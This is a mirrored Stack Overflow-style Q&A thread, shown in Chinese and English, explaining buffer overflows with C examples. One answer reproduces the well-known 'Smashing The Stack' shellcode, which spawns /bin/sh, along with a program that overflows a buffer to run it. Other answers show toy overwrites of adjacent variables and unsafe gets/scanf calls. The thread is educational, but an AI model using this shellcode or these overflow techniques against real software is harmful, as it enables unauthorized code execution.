你能举一个缓冲区溢出的例子吗?

发布于 2024-08-02 14:50:49 字数 156 浏览 5 评论 0原文

我听说过很多关于缓冲区溢出的事情,并且相信我理解这个问题,但我仍然没有看到这样的例子

char buffer[16];

//code that will over write that buffer and launch notepad.exe

I've heard so much about buffer overflows and believe I understand the problem but I still don't see an example of say

char buffer[16];

//code that will over write that buffer and launch notepad.exe

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(9

就此别过 2024-08-09 14:50:49

“为了乐趣和利润而粉碎堆栈”是关于该主题的最佳方法/常见问题解答。

请参阅:http://insecure.org/stf/smashstack.html

这是一个片段一些实际的 shellcode:

    char shellcode[] =
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    char large_string[128];

    void main() {
      char buffer[96];
      int i;
      long *long_ptr = (long *) large_string;

      for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;

      for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];

      strcpy(buffer,large_string);
}

"Smashing The Stack For Fun And Profit" is the best HowTo/FAQ on the subject.

See: http://insecure.org/stf/smashstack.html

Here is a snip of some actual shellcode:

    char shellcode[] =
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    char large_string[128];

    void main() {
      char buffer[96];
      int i;
      long *long_ptr = (long *) large_string;

      for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;

      for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];

      strcpy(buffer,large_string);
}
另类 2024-08-09 14:50:49

首先,您需要一个可以启动其他程序的程序。以某种形式执行 OS exec 的程序。这是高度特定于操作系统和语言的。

其次,启动其他程序的程序必须从某些外部源读取到缓冲区。

第三,您必须检查正在运行的程序(由编译器在内存中布局),以查看输入缓冲区和用于步骤 1(启动其他程序)的其他变量如何存在。

第四,您必须编造一个实际上会溢出缓冲区的输入并设置其他变量。

所以。第 1 部分和第 2 部分是一个类似于 C 语言的程序。

#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
    gets( buffer );
    exec( program_to_run );
}

第 3 部分需要对 bufferprogram_to_run 进行一些分析,但您会发现它可能只是

 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00

第 4 部分,您的输入,然后必须是

1234567890123456notepad.exe\x00

所以它将填充 buffer 并覆盖 program_to_run

First, you need a program that will launch other programs. A program that executes OS exec in some form or other. This is highly OS and language-specific.

Second, your program that launches other programs must read from some external source into a buffer.

Third, you must then examine the running program -- as layed out in memory by the compiler -- to see how the input buffer and the other variables used for step 1 (launching other programs) exist.

Fourth, you must concoct an input that will actually overrun the buffer and set the other variables.

So. Part 1 and 2 is a program that looks something like this in C.

#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
    gets( buffer );
    exec( program_to_run );
}

Part 3 requires some analysis of what the buffer and the program_to_run look like, but you'll find that it's probably just

 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00

Part 4, your input, then has to be

1234567890123456notepad.exe\x00

So it will fill buffer and write over program_to_run.

山人契 2024-08-09 14:50:49

有两个独立的事情:

  1. 溢出缓冲区的代码,这很容易做到,并且很可能以分段错误结束。如下所示: sprintf(buffer,"01234567890123456789");

  2. 将被覆盖的内存代码放入操作系统执行的方法。这比仅仅溢出缓冲区更困难,并且与程序的执行方式有关。他们通常会从堆栈中获取要执行的下一条指令,如果您设法通过覆盖内存将有效指令放入堆栈的下一个值,而不会造成执行指针损坏(或任何其他类型的损坏),那么您可以创建一个漏洞利用。通常是通过在堆栈的下一个要读取的值中放置一条跳转指令到包含代码的内存部分来完成。这就是为什么将内存部分标记为不可执行可以帮助防止此类攻击。

There are two separate things:

  1. The code that overflows a buffer, this is easy to do and will most likely end with a segmentation fault. Which is what has been shown: sprintf(buffer,"01234567890123456789");

  2. The means of putting on the overwritten memory code that it is executed by the operating system. This is harder than merely overflowing a buffer, and is related to how programs are executed. They usually grab the next instruction to execute from a stack, if you manage to put in the next value of the stack a valid instruction via overwriting the memory without creating execution pointer corruption (or any other kind of corruption), you can create an exploit. It is usually done by putting a jump instruction in the next to be read value of the stack to a section of memory which contains code. This is why marking sections of memory as non executable can help against these kind of exploits.

诗笺 2024-08-09 14:50:49

好吧,我不知道如何启动 notpad.exe,但要覆盖此缓冲区只需执行以下操作:

sprintf(buffer, "somestringlongerthan16");

well, i dont know how to launch notpad.exe, but to overwrite this buffer simply do:

sprintf(buffer, "somestringlongerthan16");
情栀口红 2024-08-09 14:50:49
int x[10];

x[11] = 1;
int x[10];

x[11] = 1;
浮世清欢 2024-08-09 14:50:49
gets(buffer);

无法正确使用 gets,因为它不要求缓冲区的大小。

scanf("%s", buffer);

Scanf 将读取字符串输入,直到遇到空格为止,如果用户输入超过 16 个字符,就会出现缓冲区溢出。

gets(buffer);

There is no way to use gets properly, as it doesn't ask for the size of the buffer.

scanf("%s", buffer);

Scanf will read string input until it hits whitespace, it the user types more than 16 characters there will be a buffer overflow.

朮生 2024-08-09 14:50:49

缓冲区溢出可用于使代码执行非预期操作的方式是在分配的缓冲区之外写入数据,覆盖其他内容。

覆盖的数据通常是另一个函数中的代码,但一个简单的例子是覆盖缓冲区旁边的变量:

char buffer[16];
string myapp = "appmine.exe";

void execMe(string s) {
   for (int i = 0; i < s.Length; i++) buffer[i] = s[i];
   Sys.Execute(myapp, buffer);
}

如果调用该函数的数据多于缓冲区可以容纳的数据,它将覆盖文件名:

execMe("0123456789012345notepad");

The way a buffer overflow can be used to make code do something other than intended, is by writing data outside the allocated buffer overwriting something else.

The overwritten data would typically be the code in another function, but a simple example is overwriting a variable next to the buffer:

char buffer[16];
string myapp = "appmine.exe";

void execMe(string s) {
   for (int i = 0; i < s.Length; i++) buffer[i] = s[i];
   Sys.Execute(myapp, buffer);
}

If you call the function with more data than the buffer can hold, it would overwrite the file name:

execMe("0123456789012345notepad");
鸵鸟症 2024-08-09 14:50:49

Phrack 的为了乐趣和利润而粉碎堆栈已经足够了解释,使您能够执行您所要求的操作。

Phrack's Smashing The Stack For Fun And Profit has enough explanation to enable you to do what you're asking.

违心° 2024-08-09 14:50:49

有关简单示例,另请参阅此处:

防范某些缓冲区溢出攻击:示例攻击

http://www.greenend.org.uk/rjk/random-stack.html

For a simple example see also here:

Protecting Against Some Buffer-Overrun Attacks: An Example Attack

http://www.greenend.org.uk/rjk/random-stack.html

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文